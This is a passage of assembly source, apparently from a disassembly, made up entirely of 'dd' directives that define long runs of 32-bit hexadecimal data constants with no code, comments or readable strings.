0F164C640h, 81013AEDh, 0CC7E9882h, 0B0E0EB59h, 3E722848h dd 0E562D90Ch, 3F3891Ah, 0F96C74A4h, 2E8815A3h, 0C40CE129h dd 0C0C86DE6h, 0CD381387h, 60384A9Bh, 9D8040D0h, 220908CCh dd 70DE4C27h, 4452447Ch, 2E29F960h, 0E7ACD3Bh, 0A4933D1Ah dd 73368840h, 0E6E43EB7h, 5F9D3Fh, 0B3317201h, 0F4177111h dd 90CC996Eh, 24DC2077h, 43D49134h, 1ED0634Bh, 3E059697h dd 0AFC6956Dh, 900288D5h, 0C1371658h, 961012E4h, 9F06A446h dd 60895213h, 20088068h, 689358DFh, 8C400F80h, 2E25361Eh dd 0BC3CC816h, 0ABA20727h, 0D940C077h, 0E4B65027h, 0A0F7212Ch dd 5FD0222Ah, 3A0E7C71h, 746D817Dh, 303A4ADBh, 0BCD82A00h dd 92A64C00h, 1AE19C47h, 0F21C7385h, 234B00B2h, 0BB258E9Fh dd 0EA58ADD5h, 0F8800230h, 7EEF2181h, 0A76C04ECh, 0BB110016h dd 90CCC50h, 620983BEh, 263E899h, 54040BAAh, 87344021h dd 0BB0DB2D1h, 1A1E0CACh, 0F100ED21h, 92870E3Fh, 0E68465A4h dd 9E695CB8h, 214DF212h, 0E496ACC0h, 0F07BD0F8h, 40C0415Ch dd 88A00508h, 98003A47h, 75B8DE6Bh, 0B139EE79h, 97582E24h dd 0DF84201Eh, 0E002450h, 3FCFCA21h, 26F9C74Ch, 11402F45h dd 0C0A89074h, 416D697Bh, 0BEB0020h, 940DB059h, 25008D3Ch dd 0DA862CA3h, 13A24EACh, 30A12643h, 0C3741A20h, 6744A8B4h dd 2EC9F721h, 0F6013C20h, 0BC91B6h, 0E29FA177h, 0EF057151h dd 86016B9Dh, 0D008A80Eh, 0DC229C58h, 8B077CBCh, 92404F32h dd 2CA496C1h, 0C45C8110h, 1FF491FDh, 0AFA1C8C9h, 7FB774A0h dd 0F96F2000h, 76810BB2h, 89C524B9h, 1913404h, 7DB4AFE8h dd 50103E40h, 136AA1E8h, 180EFDCh, 5950FB6h, 8535DE52h dd 1949BC76h, 1B2CB4A0h, 41A7A2F7h, 0D4566782h, 11124342h dd 86C0C9Ah, 3BE1C947h, 0B143C160h, 0AE981E60h, 28930025h dd 8022F7Eh, 0B4053D00h, 21B94F29h, 0CC8CFEDh, 5C427B80h dd 10B5CF9Ch, 13E0CC88h, 0F116B551h, 11807D0h, 649FA0F6h dd 27020EDCh, 5E12206Dh, 4AC044EEh, 0BFC9015h, 0B709AC30h dd 98286AFAh, 0B8C0EEA0h, 6ED60035h, 75768A3Fh, 0A0A45CF7h dd 6D9D0B05h, 60E08E1Dh, 3869880Ch, 0A8D77B00h, 0C0F26CCBh dd 7654F0A4h, 6E461D83h, 1D878469h, 0DDC8F4E5h, 77C96503h dd 83756F36h, 732DB815h, 0CA1C0B1Eh, 286878D2h, 901CE52h dd 0CFFD0189h, 57C4F3F6h, 0A86F00D1h, 0FC239EF7h, 0BD229D85h dd 34AE5818h, 0C7B86FC0h, 650001B4h, 29C023D6h, 140D4B5Dh dd 0B438DAE5h, 31807539h, 7707EAA5h, 0B8A680A0h, 8216BF7Ah dd 0E800A389h, 0FF1EE227h, 1B1EA95h, 0D1E84EE3h, 443F9D20h dd 0BE8C408h, 18D17614h, 268D8580h, 0D3E873h, 455247A2h dd 75AE7E3Eh, 250074B8h, 0C84999CDh, 0F8200944h, 6F9E0395h dd 80A78898h, 0E56DBB88h, 0F8974B4Ah, 86096180h, 37F20BCCh dd 0E01875F3h, 5609D0FDh, 10783A34h, 6E96DCh, 875A899h dd 469D1089h, 377208A0h, 0C4B228F8h, 73FBA100h, 1636127Dh dd 75F4A804h, 7EE000BEh, 985FB765h, 50B49B55h, 0FA92E343h dd 9F42A8h, 0B74E1AFh, 4DF11829h, 0B639992Fh, 600E9826h dd 4BBB70Bh, 40C4BC54h, 24AF3082h, 8064BC77h, 2AA624B8h dd 55FB383Ch, 98918980h, 84358DBAh, 61296202h, 0C628E7E5h dd 82A30154h, 7398FD4Ah, 5990603Dh, 75094577h, 912849F1h dd 4C795EB4h, 756469C0h, 8E23C81h, 212AA5E0h, 700A84Fh dd 63A26BEh, 0BD6C5F75h, 0DA9EB490h, 0A54EF225h, 40820F4Ch dd 4000F607h, 7B63FC8Dh, 8F5E660Fh, 0F01BC0B6h, 0EEC15D32h dd 91544ED1h, 4D0504h, 0F510B80h, 0AF49E6E9h, 99299680h dd 0A1001E8Bh, 0DB2175E0h, 0FD9E3760h, 882E0h, 9DDD3BEh dd 2F383C2Bh, 320E96F2h, 3A84673h, 0C09D8BFEh, 42023Ah dd 703D716Dh, 574A8428h, 0FE4B5F79h, 81023048h, 0A45D8E2Dh dd 7223CC8Ch, 21603D00h, 95E5336Eh, 6C28009Dh, 0A5784B1Ah dd 4C903271h, 3D3FE091h, 0B7BF858Ch, 7C8268F5h, 0F0CC177h dd 187473D1h, 51437CCAh, 4DE0CC8Fh, 1483FE0Eh, 24AF0780h dd 0BC951277h, 0BE200A04h, 57900ACh, 0BDB93C56h, 29229117h dd 3108888h, 1C467DD3h, 0DCE06A9Bh, 703CFC26h, 170E93C4h dd 336800D0h, 0F004734Fh, 8E8A01Fh, 93C38836h, 9430199Fh dd 53F820h, 0DD359679h, 745F59ADh, 0BE184550h, 5814BFh dd 401594E0h, 56D90C6Fh, 614FC400h, 21C870ECh, 32E11299h dd 7814A039h, 0C2450202h, 0C490019Eh, 24370758h, 10C3FE4Dh dd 30D9216Bh, 8A094B00h, 7E648B8h, 60630096h, 8C7D320h dd 0EC1F8702h, 33094414h, 2EA400EFh, 1D0A9371h, 4AC1E49Bh dd 6070EC60h, 7DE03DC5h, 91DE960Bh, 147924h, 0D319A38Ch dd 28F27593h, 1708102h, 80D0A083h, 5EF12CEEh, 4A634F6Dh dd 812C8088h, 0F7DA961Fh, 0E8B97031h, 6CC05496h, 0E6083497h dd 11260509h, 0A4E548h, 0E006C5B4h, 0F35C71B4h, 4B751698h dd 887148A2h, 2D00AB01h, 49A7CBAh, 75CD69EAh, 39840261h dd 411175AFh, 0E0FA18E4h, 45C3300Fh, 0A0B64176h, 11943178h dd 4E07F009h, 91CD08F7h, 59C92981h, 77023D0h, 31D0DDC5h dd 76D7233Fh, 715F9125h, 0CE00B062h, 8129BFE4h, 0BD28790Eh dd 449C8CEAh, 0FE0D5040h, 72AF003Eh, 53BDBCC1h, 7B00F741h dd 0BA99201Ah, 0D286A21Dh, 0AE90CCE0h, 6071D0C0h, 0B1210BCDh dd 0A9E681D8h, 0CC165B12h, 0B57F406Bh, 4DA49195h, 0C9F5F8EBh dd 0FB1B0073h, 9698A540h, 0B61AABECh, 7482B53Bh, 9169228h dd 0A8814920h, 0F081237Eh, 5B0105D4h, 1F9FDDE1h, 841CB8Fh dd 0E4742737h, 307D4899h, 5580B700h, 95C3F86Ch, 0D9340084h dd 65990E77h, 4B2703C8h, 3D6090EEh, 0DBDA00E7h, 6F91C285h dd 0C54C3478h, 54206AB8h, 16891408h, 8328E444h, 77483C00h dd 0A0EC114Ah, 4B7409C6h, 600F436Bh, 91A3138h, 0AE1ED091h dd 0F4D65142h, 10F96Ah, 0A972A698h, 107F0F5Dh, 38F1040Bh dd 0C6580003h, 9BF768h, 85FFEDC0h, 49EE445Dh, 0B23AA601h dd 0E09811F9h, 0D830B061h, 1ABE0005h, 13692621h, 9B03D943h dd 0EB2BEF8Ah, 0F36198E2h, 54496E7h, 0C02C1349h, 0E1212305h dd 9940C4Ch, 80791005h, 0AB5391D8h, 4422EDD2h, 46A10D80h dd 0CE072B5Bh, 0CB29B8ECh, 68B8D924h, 0D2873502h, 0A8C418BBh dd 1E421496h, 219A60D7h dd 9ED7377h, 0DC9BC625h, 280268CCh, 0B9D40F66h, 0C004E3FDh dd 12693Ah, 35858B71h, 0D1EC926h, 91EA811Eh, 0E798E5D8h dd 84B175h, 8A8C5D25h, 0A0041311h, 2203D91Dh, 5C804CACh dd 0B2B509FAh, 0BF823000h, 1E1C63A7h, 0F0842806h, 0A8C8AB5Ch dd 9493D8CBh, 5810AF18h, 43E29EFCh, 0B04B2709h, 76520292h dd 0C89855BDh, 0DC07A1CBh, 0E45BEE1h, 0D4014770h, 0E86F0006h dd 389E21FAh, 150092A1h, 0DAAAD527h, 0B347B88h, 31C408C2h dd 0C800F473h, 25E443D2h, 9129097Dh, 2C201C54h, 0FB238E95h dd 9AAE000h, 0E9A4FC1Eh, 0C4750BEBh, 38C49C52h, 0C91B2B02h dd 59ABA0F3h, 0D9403D64h, 17317180h, 1D370FB3h, 812783ECh dd 0CA9B58A5h, 0E790B4ADh, 12B86F52h, 50E27611h, 51DB9B00h dd 0A4E94740h, 7F28A500h, 0CC7DA1Dh, 78FC34h, 9B589629h dd 0F721CB80h, 9CB1A277h, 7F24513Bh, 0F34FC420h, 0F9B1005Eh dd 48EB1184h, 94007360h, 4002763Dh, 1C92AB71h, 646F80A0h dd 77094024h, 720FE55Ah, 0A29164Bh, 700E083Fh, 0C1324C5Fh dd 8180E115h, 4973EF48h, 7F707ABCh, 0B9176000h, 1D9ADE3Dh dd 4304B48Dh, 0CB892544h, 9387D9Ch, 4082A1F7h, 0BCA00730h dd 98AD40A8h, 5B00EF6Bh, 1CB95754h, 0BF0161h, 0DA1FEE2h dd 7B2B4A05h, 41726F00h, 14D9AC90h, 0D076002Eh, 7AE4A03Eh dd 0CF58E010h, 40551627h, 206B4804h, 9D812640h, 74909E75h dd 24EFD39h, 535C7134h, 8430563Bh, 907D10BFh, 0A999C5B8h dd 9155A027h, 8224918h, 403ABB02h, 0E4482624h, 8513BE06h dd 60C87409h, 17DA8165h, 1A425654h, 7C543172h, 101D8CE0h dd 91AF0011h, 2DFA93F6h, 0C6019F34h, 9E27D7C8h, 3478DB1Eh dd 404202C0h, 24B678E9h, 926FFF80h, 0A07061h, 0AB4CDD4Ah dd 44E39AA5h, 5369BC00h, 2803CD3Fh, 28BB7539h, 0AC88DE31h dd 0E2F103C8h, 0C5EF7E6Eh, 0ACCC9EDBh, 0EEA08E90h, 0C3D460A6h dd 39F059h, 49A16DE0h, 0CA10A27Ch, 189F0770h, 86165C30h dd 51B47215h, 0E71E18B8h, 7D72B59h, 0A84DF37Bh, 0A88C355Bh dd 0D22980C0h, 990BD72h, 706D231Eh, 92C394C0h, 741A20A0h dd 0E0BF4A6h, 0C828FEF1h, 0BAE434h, 69FA9A4Dh, 78939DE6h dd 0A2B5EC01h, 7AC2043h, 0C75E1C9h, 2828207Eh, 5C13F8F1h dd 0D60041FFh, 70948B14h, 8FF23A13h, 663F5E81h, 6396DE84h dd 7D0E01A0h, 37A86115h, 5B34D4C2h, 0EEE911E0h, 6D293B0Fh dd 1AD02759h, 4AAE0451h, 28482500h, 2446404h, 0E6C51708h dd 3FA55480h, 0AD753AD9h, 0E57CFD09h, 0DA00D0F2h, 4DDFA265h dd 7D4964h, 4F7C725Ch, 9D18BC03h, 0F200E6E8h, 0F146120Bh dd 0EC3BC9h, 890DE74Dh, 0C513A176h, 375AEB7Fh, 16BAC48h dd 0CD86720Fh, 40DAC076h, 474574Ch, 0EF7D6D93h, 84891C82h dd 82295C4h, 0D89455h, 0B3147DE9h, 6769F627h, 0C0BCC200h dd 60A1EED6h, 4F6F0430h, 0ABB9F4C6h, 6A6CFC21h, 96004069h dd 18C83C92h, 5E12C201h, 0C0D25C47h, 0AE282060h, 0D000176h dd 29D34B7Bh, 135B9594h, 57D23FBh, 0AD3F88F2h, 0EEAD2550h dd 0E0B40040h, 815ED80Fh, 0DD000860h, 659D91CCh, 0DE49E7E9h dd 88E61038h, 1D00B8EDh, 48C6FBD4h, 8F4C0C43h, 0B15780C8h dd 86BC6Dh, 0D0DD6429h, 74D3BEECh, 3E009872h, 37017071h dd 0B443CACBh, 174A42BCh, 86770720h, 0C8BE4FDEh, 0B4137000h dd 0CA62FE5h, 853BEB00h, 8290FD19h, 7641B660h, 0BB0574h dd 87093926h, 31421755h, 6CE894A3h, 0B746DAh, 0A0FE71ACh dd 0BB7C0E7Bh, 8600B0EAh, 0E137672h, 0C483660Ah, 9200A81Fh dd 0A37D1763h, 0B4A42545h, 1C1D08D9h, 78B49822h, 62BB1289h dd 0CB5C0121h, 3AEA5DA4h, 44ACD848h, 95E24019h, 1E4D59Fh dd 35E0CEDBh, 355DB6C3h, 0CCA5C014h, 10304F51h, 9B04FB7Ch dd 2271D817h, 0E7DC4405h, 0DCA07085h, 90011875h, 0DE8738EFh dd 6E21BD22h, 3AE86030h, 0D48A1E44h, 451C0900h, 0D28EEBFDh dd 0B4E8200Fh, 0A80C259Ah, 4DD07C5Eh, 879D869h, 0B621433Eh dd 0FD956D85h, 0CF08412h, 7548A04Bh, 0B32A28B4h, 8C86C8h dd 0A811CB18h, 0FEE762FBh, 67914F0Dh, 0AC30D010h, 0E3BD29A4h dd 2A310BACh, 0AAC05h, 56833CD0h, 0E0C84DEEh, 0E0724930h dd 0D10BB40Fh, 6B7CC0F3h, 52EA71Ch, 91FB0F78h, 0E7A8B041h dd 0C1EA6D31h, 0B832BFC3h, 0EC000F3Bh, 82D924B2h, 8C03A5B9h dd 812C6E4Ah, 3389B628h, 43311CE5h, 0DDD9EDD8h, 0AB500701h dd 456DD4CAh, 0D248D3CBh, 904E698h, 0EF8549A2h, 17BC645Ch dd 8985C53h, 0E8B0086h, 0B97DB7B8h, 0B300612Dh, 0D5FF63B6h dd 0AE1D91F4h, 0DE88A260h, 76854920h, 0F022C74Ah, 72E94F5Dh dd 61660732h, 0A5C402Fh, 0F06D2D9Bh, 0CC1100E0h, 0D0546251h dd 2848748Bh, 0C8012F24h, 41C7A518h, 0A8202B4Fh, 5A4DABh dd 7433944Ah, 0DAD1701Ch, 687F5702h, 82C4CD73h, 624CD4CAh dd 964667Ch, 0F0F89E25h, 7E3E6C79h, 9CA8CC2Eh, 944CF311h dd 20D140DEh, 0EB2B1FEDh, 83306D08h, 13910856h, 0E4270F89h dd 364B00C0h, 2B5D692Eh, 0F500D012h, 0B8E89CC2h, 0F0D9876Ah dd 8F290553h, 0C46EDEADh, 0A088039Eh, 59214AAFh, 8F0D0019h dd 100854C6h, 0E4015925h, 0E73A0068h, 0D999D6E1h, 34485FD4h dd 79288488h, 4BE9488h, 0C6D53952h, 0E16C82FEh, 0A168235Fh dd 77310FDAh, 91E22934h, 0B053EE8Dh, 68C63A85h, 6E7BD031h dd 12804C6Ch, 88BA2B76h, 0E69E2E13h, 0B146531Eh, 4370A955h dd 62CD22E5h, 0ADC4F00Fh, 0D10DAE02h, 0FB0E0018h, 2B42B00Bh dd 463D0101h, 0D22D1CE1h, 3CE4FEh, 7875F363h, 0AF33DB72h dd 1E00F898h, 7343124Fh, 19AB2F9h, 297721ACh, 41760ABDh dd 882C0DCh, 733088EFh, 395DB417h, 2CF6DCF5h, 0B8815B0h dd 1940601Ch, 147FE887h, 0B443F71Bh, 0DEA28121h, 3074E214h dd 84EE92B8h, 0A9570068h, 58BE3643h, 0A5142C25h, 1090A497h dd 0BC88B3CDh, 189810AFh, 82EF3C36h, 91CA7782h, 0D0A4DE55h dd 6D693173h, 714D230Ch, 0D3DD04F4h, 0C4083BE2h, 0B8B91645h dd 0BF62BC01h, 0D4AE0CD0h, 290056C0h, 0A5BB8121h, 0BF03E979h dd 87F74C2Fh, 2C99FC60h, 0EC98B724h, 884FF811h, 1E005B9Ch dd 4FA3C856h, 325A2DFCh, 0D9900671h, 8110C519h, 0F4B987DEh dd 0B920C8A0h, 0C51E745Ch, 0EF43ED19h, 1F0E7C14h, 204FC04Bh dd 0B3662779h, 0BC4F6C20h, 1D760097h, 573B90EAh, 11C0BDF3h dd 1B44D015h, 0E69F01C1h, 7F372DABh, 9164F83Dh, 7393DC03h dd 188A45A2h, 39BBF330h, 7B0039EDh, 0B8BC61B6h, 786B048Eh dd 0FF5100EBh, 47328BA2h, 460BF723h, 80EA1C2Fh, 0EE8106FAh dd 67780060h, 0D017FA49h, 0A60EDBAh, 0D76DBD21h, 24F00C9h dd 1985E11h, 0BE00E34Ah, 6AED3F8Bh, 7568873Bh, 0C49E61BDh dd 0DB79F18Ah, 8B1D411Eh, 0E9FABB06h, 4C1C0310h, 3E35C09Bh dd 68A498F2h, 11D9428Eh, 0D689007Ah, 983091A7h, 518117Ch dd 255E00C3h, 4128CEF1h, 88988BBBh, 86C1B60Ch, 441C4068h dd 0A63773ABh, 0BB325948h, 0C5062FF3h, 9103A1D4h, 0A43485A8h dd 8600EDCFh, 465B6C56h, 8A100054h, 0A2F5F11Ch, 0A0A0379Bh dd 0B8A8BEF3h, 8500CB63h, 252AD4Bh, 18F583C7h, 20239245h dd 3EC94E53h, 326F00E7h, 7338D566h, 76931E18h, 691F0C0Ch dd 98ACE948h, 48FEA8C8h, 0ED4F00B4h, 682856DEh, 7B670C18h dd 0F5F5BA39h, 80D2C611h dd 0FA1A0C41h, 0CACAD7Dh, 0B81FA2FEh, 0F00CE3B8h, 29D0AA79h dd 49106FD9h, 6885C809h, 0A23F809Fh, 0C100D382h, 2249D184h dd 18550E7h, 2B90054Fh, 57B9F355h, 410E5F80h, 7E6A2E20h dd 0E439166Ch, 2FD3A0Fh, 84D56523h, 8C78A97Ch, 60983895h dd 0F8AE797Eh, 0F97EABACh, 2015C50Fh, 9EE494A6h, 0C1E4B08h dd 1AE92751h, 0F84CC8F0h, 0A8C305DAh, 90084FBBh, 0F8266782h dd 2522B9h, 50CFFEBDh, 0D7EF8707h, 3667A732h, 0FF784110h dd 0DAC622D2h, 901790A0h, 0F40E578Dh, 5D3580D1h, 0FB595E40h dd 7AA0BB55h, 0BC6902E6h, 0F2ED4DFEh, 4F2240A4h, 20C0746Ch dd 998A182Bh, 1742F971h, 0CC06E00h, 0FF5EA0D9h, 478500D0h dd 0F510A822h, 0D3B9E73h, 0EF5A8705h, 0F3234358h, 6A590784h dd 0E033E330h, 0FA230D6Bh, 5F651C14h, 44862B84h, 5F108D90h dd 85F3188Ah, 0D2BF19h, 653CE6Bh, 168C487Eh, 99A8A303h dd 89B2E8BDh, 78239577h, 7554EE0Ah, 81901CA1h, 4EC1C779h dd 0A6433A3h, 88F75633h, 4AC8F610h, 0A02274A8h, 636B12D0h dd 4D9102E0h, 0C0A00B5Ch, 0E1998604h, 7584501Ch, 4C15A980h dd 600BDFh, 839DC8F1h, 70F6C57Bh, 0AE330A13h, 0EE664444h dd 2361C80h, 56D60040h, 0BD4E1324h, 4724A270h, 0FA94A406h dd 0A408B590h, 6514BE29h, 0EB3A0C9Ch, 6774A844h, 7188A48h dd 520CB8E9h, 0EB297Ch, 0D6475429h, 0D517BE9Dh, 2CB0624Dh dd 0BB065D9Ch, 64491FF7h, 328A89BDh, 45184C20h, 208045F3h dd 0EBA77394h, 0FDF79CA9h, 3E0332Ch, 0EEC8EF99h, 0B75AB25h dd 2885D531h, 2C29B400h, 8D004F98h, 77D49AA7h, 99FDA167h dd 27211F4h, 301D6E32h, 73D8400Ch, 71EC67AAh, 80A18CF3h dd 6FC43604h, 0E8CAB846h, 24510C12h, 60D88C50h, 900112F6h dd 0D567F54Ch, 843039E3h, 101D43F0h, 0BA087FC3h, 0BD9316F7h dd 7EC83430h, 773D003Eh, 0A7205B65h, 32EAE3ECh, 70561C02h dd 0C1BE4E3Fh, 3B0CA090h, 0A08FE388h, 8236F7ACh, 0AF00B466h dd 7B512414h, 7E077C48h, 538F705Ah, 3439E0D4h, 0D1729998h dd 9B3A32A6h, 36AD0167h, 6F40F9FCh, 50CEE841h, 7A4F309h dd 97D1C8E9h, 0A460D7F0h, 3C30F1D3h, 0F3694445h, 887F2942h dd 0C022BF1h, 38973F0Fh, 44614050h, 62EF0090h, 9205DE3Ah dd 6500D85Bh, 0F419309Fh, 0E0E980h, 63D15E2Eh, 0CC26B33h dd 70BE5324h, 66212364h, 4498118Ah, 0CF1E8510h, 60705424h dd 1BC17805h, 0B8E6C980h, 0ECF22E1Ch, 0C8511010h, 11704066h dd 570C093Ah, 1922E8BBh, 776B1E43h, 88D0E4D0h, 0C60CD5BAh dd 91E9D9h, 0EBD04DA9h, 6A547E0Bh, 22099073h, 19234C78h dd 5FD4E170h, 0A411C00Eh, 0B8C3872Ch, 36DECC12h, 27A300ABh dd 23F63D06h, 21046448h, 182A91A8h, 0B3F986F3h, 0C99E0E24h dd 1E005B4Ah, 19070AA2h, 0D621C402h, 40AF1BFAh, 817865F8h dd 27DC3298h, 3D60DD0Eh, 0A5123511h, 8434F886h, 9367BC44h dd 0A7CA415Fh, 243A3E83h, 9F85BC50h, 179866FEh, 6DA44047h dd 0E49F4662h, 0E98094ABh, 0F914A3D7h, 8F8C5017h, 0C96300A4h dd 2C706B42h, 3BE80FB6h, 0D404E944h, 480ACBF0h, 196A38D2h dd 7CC21438h, 0C2BD2512h, 5E2369BCh, 3C190024h, 0B7552329h dd 0C10AAE68h, 143BD9BEh, 0BFA06201h, 94478E0Fh, 21F6D88Dh dd 337513D9h, 0F8D02260h, 281DF3Fh, 8523A2FFh, 10B8CC49h dd 14A74A3h, 31AB1B41h, 62E9BB01h, 580C0AE4h, 0D741B090h dd 0C055A852h, 0BB5B1306h, 51814460h, 0A7391160h, 30B9B4h dd 0CA6068B5h, 0D42899A2h, 0F570C016h, 5B67E602h, 4174405Ah dd 534484FDh, 800C3036h, 0D9E87079h, 95664000h, 8228A326h dd 0CFA7DB4h, 0C9B9072h, 5E4127D8h, 45F1E860h, 6AA1F820h dd 8430F203h, 741E2F40h, 0EE811419h, 0CA2CC46Fh, 38F2145Ch dd 8272181Fh, 59169B19h, 0D1AB5140h, 3A60C600h, 29EAA3E8h dd 4A337A0Eh, 52184868h, 96C8F467h, 6F7432E9h, 3508F719h dd 0E021D098h, 54670A14h, 2AFE0814h, 736BBD80h, 58E0C7C4h dd 0AA39CC29h, 6DBEFA82h, 0F069E41Dh, 6360316Eh, 4C645810h dd 3078226Ch, 6D510D51h, 0C10777A3h, 7B9D478Ch, 0A865ED70h dd 6B481605h, 0E95C04DFh, 306E22FCh, 44840104h, 0DA078AD2h dd 71A2430Bh, 0ECCBBE14h, 6850BB3Bh, 78B1C6h, 9C58BE1Ah dd 922428B3h, 0C010DC8Ah, 0C8B260C8h, 0A4872F81h, 0C86C49D4h dd 0E6924C00h, 36AFEE0Ah, 4E03CE4h, 409F516h, 0F34FB48h dd 0DC2072D9h, 98A10BD6h, 8BE82441h, 5006111Ch, 0C588BF08h dd 7D5E0051h, 0C891CD36h, 0D7F4D660h, 0C76781C0h, 74F19F3h dd 0EFFB3163h, 0C15500DCh, 6138BBF6h, 0BE270FD5h, 3698C33Bh dd 0A4A8A034h, 0F3B92499h, 6E0C41FCh, 88718E91h, 68723A2h dd 1CB0138Ch, 2D006CCCh, 1A086C9Bh, 10AC2C46h, 11FF8428h dd 0B9DBC646h, 2188400Eh, 60C72F02h, 0D178AB61h, 75320446h dd 8CBF5266h, 5A3553F4h, 1CD00A8Ah, 0F8FE31C1h, 61660067h dd 35077762h, 50129EE4h, 4C045D38h, 2482C8C4h, 664119F1h dd 64240364h, 347728Bh, 138B5E1h, 0F490CF30h, 5C0080B8h dd 8FE54232h, 5B5078h, 46F86B14h, 0C02D24F5h, 0A065BE24h dd 20F0CE52h, 0E8B98327h, 0DEB9FB00h, 261D09Eh, 0A3A25F7Fh dd 84C768D7h, 26002911h, 0DA2D7D74h, 0AA04D297h, 0A3BB33DCh dd 191960C2h, 0BCCC145Ah, 0E11A0065h, 5E745F9Dh, 0D70AA6E6h dd 0CCE5F531h, 80882715h, 10C5C25Bh, 0E4F65930h, 87342608h dd 8A00DB11h, 0DAB73B37h, 52F02AE7h, 681E0C00h, 4D2B5879h dd 0BC0099A2h, 40905525h, 5B00ED68h, 0D99E7158h, 0E7421Ah dd 0C0597E82h, 0A5155422h, 10C09B48h, 288890D0h, 0CF4C93B9h dd 0AFF8A80Bh, 149748ACh, 5F80E098h, 25BC4C69h, 460085E2h dd 91665796h, 17C9D5B8h, 3816E332h, 7C8875F8h, 48B47F18h dd 0CE0767F8h, 11781B32h, 237BA2AFh, 0E0172488h, 94BB5967h dd 4A3700B0h, 0FC4279FFh, 6800BEB2h, 59CFFB0Fh, 7ACDAEDDh dd 998A2693h, 9FD54004h, 0F42E7AE1h, 9A605C27h, 3A1590h dd 4A1FC3AEh, 0D7FB89AAh, 8021711Eh, 0C066035Ch, 51158891h dd 0B500E80Fh, 5510C991h, 231D0111h, 5F40BEF0h, 4926752h dd 99122966h, 0C48A009Ch, 0D0A9BA6Bh, 0A893AE00h, 0CD0CD4BFh dd 0EC7308B8h, 68191094h, 0A8346931h, 0C1A44E8h, 0B9835134h dd 6F59C831h, 0ABFC0h, 0EEF712C1h, 687D3F11h, 3BA3D448h dd 1D3E897Eh, 29B899D8h, 23A4C014h, 382584D0h, 0F0641807h dd 70C548D7h, 9FD45D83h, 9D08F698h, 57452B02h, 60B17F1Ch dd 8139FE48h, 3100DBC6h, 3EFAF5A4h, 76F3098Ah, 23422C07h dd 27BC6ACCh, 0FD099082h, 40665F11h, 50182810h, 9C456700h dd 20FAB831h, 6E138436h, 4C016305h, 0A4C25AD6h, 0F4012F83h dd 0CA611835h, 0E2009046h, 0FE9BC556h, 0B420E0h, 40897C5Ah dd 0B092A016h, 93EFC316h, 0C5BAF849h, 0A7CA81B8h, 807098A4h dd 632F4D69h, 0A83780h, 8DDA088Ah, 43571366h, 0F34AC1F2h dd 0DF72D844h, 41E12h, 9A6B4306h, 8B7647C8h, 4621EA06h dd 4470C391h, 0FC4EBA92h, 199E7472h, 61881050h, 498DF0A8h dd 7D22D87Bh, 0F6BFDE03h, 0B8D6412Bh, 25CB5Dh, 0AA33FFD4h dd 8A685B30h, 8462FD09h, 0ABC44F6h, 0D7C6C0FBh, 0DDB480E8h dd 66D04A17h, 0A62D6702h, 615240B7h, 61FC31E0h, 0E8AE507Dh dd 4558861Dh, 8087C8B4h dd 0ADF7B727h, 4003532h, 0DB84B5E2h, 2EFCC1B6h, 18F1D7A5h dd 0D47390Ch, 0EE663601h, 6B3F3070h, 58698C4h, 0CEFACA8Bh dd 0EAE881BCh, 246D0822h, 9DD865C2h, 0D62CE06Ch, 0E8005442h dd 9D036EE4h, 418B2763h, 0A579F838h, 10277891h, 6130D0h dd 8D1EA9D6h, 0EF567F87h, 72F1E8C2h, 18112F10h, 1641D5C6h dd 0EFB00E8Ch, 710F216Dh, 370049AEh, 939BADFBh, 399CC848h dd 4486202Ah, 0E50113D2h, 7F4F1C5h, 0C84CDBB8h, 14C35563h dd 13C822F4h, 8022514h, 0A164539Ch, 86F0C853h, 76B4000h dd 0A20802A3h, 80C4623Ch, 0BD00DFCAh, 4AD49A6Ch, 0F32C724Fh dd 9219DC90h, 4463D700h, 53F83569h, 0CEAD0F5Bh, 4865910Ch dd 0A768C365h, 0A9D322C4h, 0D0981BB0h, 1CE58142h, 0C0A41EB6h dd 195F0DD3h, 0B0002955h, 8DD4CFA0h, 0D4AFFAEAh, 0ED3B8049h dd 10F86845h, 4FCC17DCh, 4B861A1h, 2436B325h, 0C5217300h dd 2E9C53D1h, 279302E8h, 0A2330A12h, 0BA1E0448h, 808C2C41h dd 9C35A7ACh, 6A300F0h, 0B9133EF1h, 0F30884F5h, 1062EBFFh dd 825AC83Ch, 0EA2015E3h, 0A0DAD442h, 0A819B242h, 62F391C3h dd 0BEE3006Ch, 9F80DF79h, 649200B2h, 5F94852Eh, 563BFE2Ah dd 0D73E817Eh, 0DCB22016h, 0BB8AE86Ch, 0BD420174h, 3054B7C0h dd 90904330h, 21469930h, 0F3556F1h, 13F790CAh, 0BC847020h dd 0D22FD331h, 593C8D69h, 4CB5020h, 4D8B4F17h, 0F9948C20h dd 380CEB5Ch, 0E040CF98h, 3943C4B2h, 92E71CA2h, 58140F0Dh dd 0D8B490F6h, 0CA01E4F4h, 0E92F05EFh, 9C42BDC9h, 92219F0h dd 0EF164C41h, 1C1CB205h, 0A4009F6Eh, 0C137D207h, 5C87590h dd 0BAE08DEEh, 4E4A5DBh, 6CA081CAh, 18E9109Ch, 3E61F020h dd 0C600BCD4h, 0C00C9DCBh, 2A001455h, 49670FCDh, 14787B4Ch dd 0EF7E7A4Dh, 43F06D1Ch, 0E273F73Ah, 0F071EBB9h, 476148E6h dd 88EF7908h, 79636C0h, 63C3A772h, 7EB901A6h, 642080F2h dd 0AA5288A2h, 765C0178h, 0CCD5F997h, 0DE4180B8h, 36445A18h dd 6F700604h, 703398F0h, 79EEFC19h, 60C0CA88h, 23D206DEh dd 76A92578h, 52D69800h, 0A1917457h, 134100B4h, 8CA026C1h dd 0E1F8CAA7h, 18009998h, 0D43479Dh, 0C37CF9D6h, 0ED767B79h dd 6DD5611Bh, 78B7E0D9h, 547C50C8h, 5E698880h, 0DC7BA0A1h dd 0D6005CECh, 0BED88625h, 0CA539E7Ah, 911CC4E0h, 0E45918B9h dd 937E08h, 0CB2D7C23h, 0FE0BA199h, 65B55B00h, 0C979CAAh dd 0FCF83014h, 12990A89h, 0A4FDA000h, 812325F6h, 86B3000Ch dd 1BF9DFC2h, 42E19A20h, 0E2213098h, 0E6004159h, 0AE60C25Ch dd 5B38F279h, 881348CAh, 4354F507h, 53E26118h, 0EA318403h dd 0FC45E5C7h, 1E8C4ED4h, 938B2320h, 0DF0221E2h, 4AB051Ch dd 880C40E1h, 4D558831h, 0D2D949C3h, 0D0A7C85Dh, 0C5050E1h dd 0A4FF00A3h, 28DFCDFAh, 408847A5h, 0E8110663h, 81F4F9E9h dd 7ADAEF02h, 91C3778Eh, 21F66FD0h, 81D15D7Bh, 27A18619h dd 39A8F45Fh, 0D3AF0864h, 4C1143C3h, 0F1528607h, 